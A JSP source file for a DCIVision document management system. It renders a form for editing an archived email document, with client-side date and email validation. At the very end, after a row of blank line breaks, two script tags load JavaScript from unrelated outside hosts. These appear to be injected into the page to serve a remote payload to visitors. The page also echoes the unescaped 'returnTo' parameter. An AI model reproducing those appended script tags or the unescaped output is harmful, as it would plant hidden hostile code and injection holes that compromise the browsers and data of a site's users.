<%
/*
 * @(#)EditDmsEmailDocument.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  EditDmsEmailDocument.jsp

  This class is reflecting business logic uses.

    @author           Jenny Li
    @company          DCIVision Limited
    @creation date    06/08/2005
    @version          $Revision: 1.11.4.8 $
*/
%>

<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ taglib uri="/tags/wfm" prefix="wfm" %>
<%@ page import="java.io.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="java.util.*" %>
<%@ page import="org.apache.struts.action.ActionError"%>
<%@ page import="org.apache.struts.action.ActionErrors"%>
<%@ page import="com.dcivision.framework.*" %>
<%@ page import="com.dcivision.framework.bean.* "%>
<%@ page import="com.dcivision.framework.web.* "%>
<%@ page import="com.dcivision.dms.*" %>
<%@ page import="com.dcivision.dms.bean.* "%>
<%@ page import="com.dcivision.dms.core.* "%>
<%@ page import="com.dcivision.alert.bean.* "%>
<%@ page import="com.dcivision.workflow.bean.* "%>
<%@ page import="com.dcivision.workflow.core.* "%>
<%@ page import="com.dcivision.workflow.dao.* "%>
<%@ page import="com.dcivision.workflow.web.* "%>
<%@ page import="com.dcivision.alert.bean.UpdateAlert"%>
<jsp:useBean id="applicationContainer" scope="application" class="com.dcivision.framework.ApplicationContainer"/>
<jsp:useBean id="DMS_DEF_PROFILE" scope="application" class="java.util.ArrayList"/>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="maintDmsEmailDocumentForm" scope="request" class="com.dcivision.dms.web.MaintDmsEmailDocumentForm"/>

<html:form type="maintDmsEmailDocumentForm" enctype="multipart/form-data" action="dms/MaintDmsEmailDocument">
<html:javascript formName="maintDmsEmailDocumentForm" method="ValidateForm" dynamicJavascript="true" staticJavascript="false"/>
<%/****************************************************************************
   * Edit Selection Attributes Configuration Begin
   ****************************************************************************/

   String ACTION_MODE = (String) request.getAttribute(GlobalConstant.ACTION_MODE);

  /****************************************************************************
   * Edit Selection Attributes Configuration End
   ****************************************************************************/
   Connection conn = (Connection)request.getAttribute(GlobalConstant.DB_KEY);
   DocumentRetrievalManager docRetrivalManager=new DocumentRetrievalManager(sessionContainer,conn);

   String returnTo = maintDmsEmailDocumentForm.getReturnTo();
   final Integer rootID       = TextUtility.parseIntegerObj(maintDmsEmailDocumentForm.getRootID());
   final Integer parentID     = TextUtility.parseIntegerObj(maintDmsEmailDocumentForm.getParentID());

   String sCurFunctionCode = maintDmsEmailDocumentForm.getCurFunctionCode()==null? (String)request.getAttribute(GlobalConstant.FUNCTION_CODE_KEY): maintDmsEmailDocumentForm.getCurFunctionCode();
   String homePageFunctionCode="";
   if (Utility.isEmpty(sCurFunctionCode) || "null".equals(sCurFunctionCode) || DmsOperationConstant.LIST_PERSONAL_HOME.equals(sCurFunctionCode)){
     homePageFunctionCode=DmsOperationConstant.LIST_PERSONAL_HOME;
     DmsDocument documentRoot = docRetrivalManager.getRootFolderByRootID(rootID);
     if (DmsOperationConstant.DMS_PERSONAL_ROOT.equals(documentRoot.getDocumentName())) {
       sCurFunctionCode = SystemFunctionConstant.DMS_PERSONAL_FOLDER;
     } else {
       sCurFunctionCode = SystemFunctionConstant.DMS_PUBLIC_FOLDER;
     }
     request.setAttribute(GlobalConstant.FUNCTION_CODE_KEY, sCurFunctionCode);
   }
%>
<script language="Javascript" src="<%=request.getContextPath()%>/js/FloatingSelectionBox.js" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%=request.getContextPath()%>/js/WorkflowAttachment.js" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript">
<!--
function opCustSave(){
  var currentTime = '<%=TextUtility.formatDate(Utility.getCurrentTimestamp(),"dd-MM-yyyy")%>';
  if(FindObj("effectiveStartDate")){
    if(document.maintDmsEmailDocumentForm.effectiveStartDate.value == null || document.maintDmsEmailDocumentForm.effectiveStartDate.value == '') {
      alert("<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "errors.required", MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "dms.label.effective_start_date"))%>");
      return (false);
    }
    if (compareDate(document.maintDmsEmailDocumentForm.effectiveStartDate, document.maintDmsEmailDocumentForm.effectiveEndDate, true) > -1){
      alert("<bean:message key='dms.message.end_date_earlier_than_start_date'/>");
      return (false);
    }
  if(document.maintDmsEmailDocumentForm.effectiveEndDate.value != "")  {
      if (compareNowDateValue(document.maintDmsEmailDocumentForm.effectiveEndDate,true) < 1){
        alert("<bean:message key='dms.message.end_date_earlier_than_now_time'/>");
        return (false);
      }
    }
  }
  var emailStr = document.maintDmsEmailDocumentForm.mailTo.value;
  var ccStr = document.maintDmsEmailDocumentForm.mailCCTo.value;
  var toflag = checkEmail(emailStr);
  if(!toflag){
    alert("Invalid Email(To) Addresss!");
    document.maintDmsEmailDocumentForm.mailTo.focus();
    return false
  }

  var ccflag = checkEmail(ccStr);
  if(!ccflag){
    alert("Invalid Email(CC) Addresss!");
    document.maintDmsEmailDocumentForm.mailCCTo.focus();
    return false
  }
  OpSave();
  return false;
}

function opCustSaveAddNew(){
  var currentTime = '<%=TextUtility.formatDate(Utility.getCurrentTimestamp(),"dd-MM-yyyy")%>';
  if(FindObj("effectiveStartDate")){
    if(document.maintDmsEmailDocumentForm.effectiveStartDate.value == null || document.maintDmsEmailDocumentForm.effectiveStartDate.value == '') {
      alert("<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "errors.required", MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "dms.label.effective_start_date"))%>");
      return (false);
    }
    if (compareDate(document.maintDmsEmailDocumentForm.effectiveStartDate, document.maintDmsEmailDocumentForm.effectiveEndDate, true) > -1){
      alert("<bean:message key='dms.message.end_date_earlier_than_start_date'/>");
      return (false);
    }
  if(document.maintDmsEmailDocumentForm.effectiveEndDate.value != "")  {
      if (compareNowDateValue(document.maintDmsEmailDocumentForm.effectiveEndDate,true) < 1){
        alert("<bean:message key='dms.message.end_date_earlier_than_now_time'/>");
        return (false);
      }
    }
  }
var emailStr = document.maintDmsEmailDocumentForm.mailTo.value;
  var ccStr = document.maintDmsEmailDocumentForm.mailCCTo.value;
  var toflag = checkEmail(emailStr);
  if(!toflag){
    alert("Invalid Email(To) Addresss!");
    document.maintDmsEmailDocumentForm.mailTo.focus();
    return false
  }

  var ccflag = checkEmail(ccStr);
  if(!ccflag){
    alert("Invalid Email(CC) Addresss!");
    document.maintDmsEmailDocumentForm.mailCCTo.focus();
    return false
  }
  OpSaveAndNew();
  return false;
}

function checkEmail(emailStr) {
   var email_s = emailStr.split(";");
   if (globalIsLotusDomino) {
       return true;
   }
   if (emailStr.length == 0) {
       return true;
   }
   for(var m=0; m<email_s.length; m++){
     var emailPat=/^(.+)@(.+)$/;
     var specialChars="\\(\\)<>@,;:\\\\\\\"\\.\\[\\]";
     var validChars="\[^\\s" + specialChars + "\]";
     var quotedUser="(\"[^\"]*\")";
     var ipDomainPat=/^(\d{1,3})[.](\d{1,3})[.](\d{1,3})[.](\d{1,3})$/;
     var atom=validChars + '+';
     var word="(" + atom + "|" + quotedUser + ")";
     var userPat=new RegExp("^" + word + "(\\." + word + ")*$");
     var domainPat=new RegExp("^" + atom + "(\\." + atom + ")*$");
     var matchArray=email_s[m].match(emailPat);
     if (matchArray == null) {
         return false;
     }
     var user=matchArray[1];
     var domain=matchArray[2];
     if (user.match(userPat) == null) {
         return false;
     }
     var IPArray = domain.match(ipDomainPat);
     if (IPArray != null) {
         for (var i = 1; i <= 4; i++) {
            if (IPArray[i] > 255) {
               return false;
            }
         }
         return true;
     }
     var domainArray=domain.match(domainPat);
     if (domainArray == null) {
         return false;
     }
     var atomPat=new RegExp(atom,"g");
     var domArr=domain.match(atomPat);
     var len=domArr.length;
     if ((domArr[domArr.length-1].length < 2) ||
         (domArr[domArr.length-1].length > 3)) {
         return false;
     }
     if (len < 2) {
         return false;
     }
   }

   return true;
}

function compareNowDateValue(dateObj, ignoreTime) {
  dateFormat = '<%=SystemParameterFactory.getSystemParameter(SystemParameterConstant.DB_DATETIME_FORMAT)%>';
  yearStart = dateFormat.indexOf("y");
  yearEnd = dateFormat.lastIndexOf("y");
  monthStart = dateFormat.indexOf("M");
  monthEnd = dateFormat.lastIndexOf("M");
  dayStart = dateFormat.indexOf("d");
  dayEnd = dateFormat.lastIndexOf("d");
  hourStart = dateFormat.indexOf("H");
  hourEnd = dateFormat.lastIndexOf("H");
  minStart = dateFormat.indexOf("m");
  minEnd = dateFormat.lastIndexOf("m");
  secStart = dateFormat.indexOf("s");
  secEnd = dateFormat.lastIndexOf("s");

  if (yearStart==-1 || yearEnd==-1 || monthStart==-1 || monthEnd==-1 || dayStart==-1 || dayEnd==-1
      || hourStart==-1 || hourEnd==-1 || minStart==-1 || minEnd==-1 || secStart==-1 || secEnd==-1) {
    alert("<bean:message key='common.message.invalid_date_format'/>");
  }

  jsDate = null;
  if (dateObj.value!=null && dateObj.value!='') {
    year2 = dateObj.value.substring(yearStart, yearEnd+1);
    month2 = dateObj.value.substring(monthStart, monthEnd+1);
    day2 = dateObj.value.substring(dayStart, dayEnd+1);
    hour2 = dateObj.value.substring(hourStart, hourEnd+1);
    min2 = dateObj.value.substring(minStart, minEnd+1);
    sec2 = dateObj.value.substring(secStart, secEnd+1);
    if (ignoreTime) {
      jsDate = new Date(year2, month2-1, day2);
    } else {
      jsDate = new Date(year2, month2-1, day2, hour2, min2, sec2);
    }
  }
  var curDate = new Date();
    if (jsDate-curDate>0) {
      return 1; //date1 is later than date2
    } else if (jsDate-curDate<0) {
      return -1; //date1 is earlier than date2
    } else {
      return 0; //they are equals
    }
}
-->
</script>
<html:hidden property='opMode'/>
<html:hidden property='navMode'/>
<html:hidden property='ID'/>
<html:hidden property='parentID'/>
<html:hidden property='rootID'/>
<html:hidden property='recordStatus'/>
<html:hidden property='updateCount'/>
<html:hidden property='creatorID'/>
<html:hidden property='createDate'/>
<html:hidden property='updaterID'/>
<html:hidden property='updateDate'/>
<html:hidden property='closeFlag' value='0'/>
<html:hidden property='trueFileName'/>
<html:hidden property='emailAttachment'/>
<html:hidden property='returnTo'/>
<html:hidden property='curFunctionCode'/>
<html:hidden property='itemStatus'/>
<html:hidden property='itemSize'/>
<html:hidden property='ownerID'/>
<html:hidden property='documentType'/>
<html:hidden property='createType'/>
<input type="hidden" name='oldUpdateFileValue' value="">
<input type="hidden" name="oldUpdateFileText" value="">

<layout:titleFormat><font class="pageTitle"><layout:pageTitle functionCode="<%=sCurFunctionCode%>" functionType=''/></font>
<%String showHeaderFooter = (String)request.getAttribute("SHOW_HEADER_FOOTER");%>
<%if (!"N".equals(showHeaderFooter)){%>
  <layout:returnButton>
  <%
  if(Utility.isEmpty(returnTo)){
    if(Utility.isEmpty(homePageFunctionCode)){%>
      ListDmsDocument.do?opMode=<%=ACTION_MODE%>&rootID=<%=rootID%>&parentID=<%=parentID%>
    <%}else{%>
      <%if(DmsOperationConstant.LIST_PERSONAL_HOME.equals(homePageFunctionCode)){%>
        <%=request.getContextPath()%>/Home.do?opMode=<%=GlobalConstant.OP_MODE_LIST_RETAIN%>
      <%}%>
    <%}%>
  <%}else{%>
    <%=returnTo%>
  <%}%>
  </layout:returnButton>
<%}%>
</layout:titleFormat>
<table cellpadding="20" cellspacing="0" border="0" width="100%"><tr><td>
<table width="780" cellpadding="0" cellspacing="2" border="0" align="left">
  <!-- Section Header -->
  <layout:sectionHeader name='dms.label.doc_info_E'/>

  <!-- User Defined Field Selection -->
  <tr>
    <td class="<layout:classLabel mandatory='false'/>" width="25%" height="20" valign="top"><bean:message key='dms.label.location'/>:&nbsp;</td>
    <td class="formFieldSmall" width="630"><%=request.getAttribute("location")%></td>
  </tr>

  <tr>
    <td class="formLabelSmallMan" width='25%' valign='top'><bean:message key="dms.label.email_subject"/>:&nbsp;</td>
    <td class="formFieldSmall" width='75%'>
      <html:text property='documentName' size="70%"/>
    </td>
  </tr>
  <tr>
    <td class="formLabelSmall" width="25%"><bean:message key='common.label.priority'/>:&nbsp;</td>
    <td class="formFieldSmall" width="75%">
      <html:radio property='priority' value='<%=GlobalConstant.PRIORITY_HIGH%>'><bean:message key='common.priority.label_3'/></html:radio>
      <html:radio property='priority' value='<%=GlobalConstant.PRIORITY_MEDIUM%>'><bean:message key='common.priority.label_2'/></html:radio>
      <html:radio property='priority' value='<%=GlobalConstant.PRIORITY_LOW%>'><bean:message key='common.priority.label_1'/></html:radio>
    </td>
  </tr>
  <tr>
     <td class="formLabelSmall" width="25%"><bean:message key='dms.label.reference_no'/>:&nbsp;</td>
      <td class="formFieldSmall" width="75%"><html:text property='referenceNo' size="70%"/></td>
  </tr>
  <tr>
    <td class="formLabelSmall" width="25%" valign="top"><bean:message key='dms.label.description'/>:&nbsp;</td>
    <td class="formFieldSmall" width="75%"><html:textarea property='description' cols='40' rows='5' textlimit='2000'/></td>
  </tr>
  <tr>
    <td class="formLabelSmallMan" width="25%" valign="top"><bean:message key='dms.label.email_archive.message_to'/>:&nbsp;</td>
    <td class="formFieldSmall" width="75%"><html:text property='mailTo' size="70%"/></td>
  </tr>
  <tr>
    <td class="formLabelSmall" width="25%" valign="top"><bean:message key='dms.label.email_archive.message_cc'/>:&nbsp;</td>
    <td class="formFieldSmall" width="75%"><html:text property='mailCCTo' size="70%"/></td>
  </tr>
  <tr>
    <td class="formLabelSmall" width="25%" valign="top"><bean:message key='upload.label.attachment'/>:&nbsp;</td>
    <td class="formFieldSmall" width="75%">
     <%List attachmentList=(List)request.getAttribute("attachmentList");%>
     <%if(Utility.isEmpty(attachmentList)){%>
     <wfm:attachment width="470" height="22" popW="550" popH="500" URL="/upload/ListLookupFromParaDoc.do?navMode=V&SHOW_HEADER_FOOTER=N" attachmentList='<%=attachmentList%>'/>
     <%}else{%>
     <wfm:attachment width="470" height="22" popW="550" popH="500" URL="/upload/ListLookupFromParaDoc.do?navMode=V&SHOW_HEADER_FOOTER=N&onlyDisplayDoc=true" />
     <%}%>
    </td>
  </tr>
      <tr>
      <td colspan="2">
      <%if(!GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)){%>
      <html:textarea property='mailContent' style="width:100%;" rows='10'/>
      <%}else{%>
      <script language="javascript">
        var divHeight = GetInnerHeight() - 400;
        var divWidth = GetInnerWidth() - 200;
        if (document.all) {
          document.write('<iframe src = "<%=request.getContextPath()%>/dms/FileDownloadServlet?targetID=<%=maintDmsEmailDocumentForm.getID()%>&version=TOP&documentType=E&systemLogID=null&ext=.html" height= '+divHeight+'  width = "100%" ></iframe>');
        }
     </script>
      <%}%>
     </td>
    </tr>
  <tr>
      <td colspan="2" align="center"><html:img src='LayoutSpacer.gif'  width='1' height='8'/></td>
    </tr>
    <%if (!SystemFunctionConstant.DMS_PERSONAL_FOLDER.equals(sCurFunctionCode)){%>
    <layout:sectionHeader name='dms.label.document_life_cycle' mandatory='false'/>
    <tr>
      <td class="formLabelSmallMan" width="25%"><bean:message key='dms.label.effective_start_date'/>:&nbsp;</td>
      <td class="formFieldSmall" width="75%"><html:datepicker property='effectiveStartDate' defaultToday='true'/></td>
    </tr>
    <tr>
      <td class="formLabelSmall" width="25%"><bean:message key='dms.label.effective_end_date'/>:&nbsp;</td>
      <td class="formFieldSmall" width="75%"><html:datepicker property='effectiveEndDate'  /></td>
    </tr>
     <tr>
      <td colspan="2" align="center"><html:img src='LayoutSpacer.gif'  width='1' height='8'/></td>
    </tr>
    <%}%>
  <tr>
    <td colspan="2"><layout:auditTrail/></td>
  </tr>
  <tr>
    <td colspan="2" align="center"><html:img src="LayoutSpacer.gif"  width="1" height="10"/></td>
  </tr>
<%if (!GlobalConstant.RECORD_STATUS_PENDING.equals(maintDmsEmailDocumentForm.getRecordStatus())) {%>
  <tr>
    <td colspan="2" align="center">
    <!-- The Buttons for Actions Handling -->
    <%if (!GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)) {%>
      <html:standardButton label="common.label.save" onClick="return opCustSave()"/>
      <%if (!GlobalConstant.NAV_MODE_CHANGE.equals(ACTION_MODE) && !GlobalConstant.NAV_MODE_EDIT.equals(ACTION_MODE)) {%>
      <html:standardButton label="common.label.more" onClick="return opCustSaveAddNew()"/>
      <%}
      }else{
       String tempReturnTo =java.net.URLEncoder.encode(maintDmsEmailDocumentForm.getReturnTo());
      }
    %>
    </td>
  </tr>
<%}%>
</table>
</td></tr></table>
</html:form>
<br><br><br><br><br><br>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>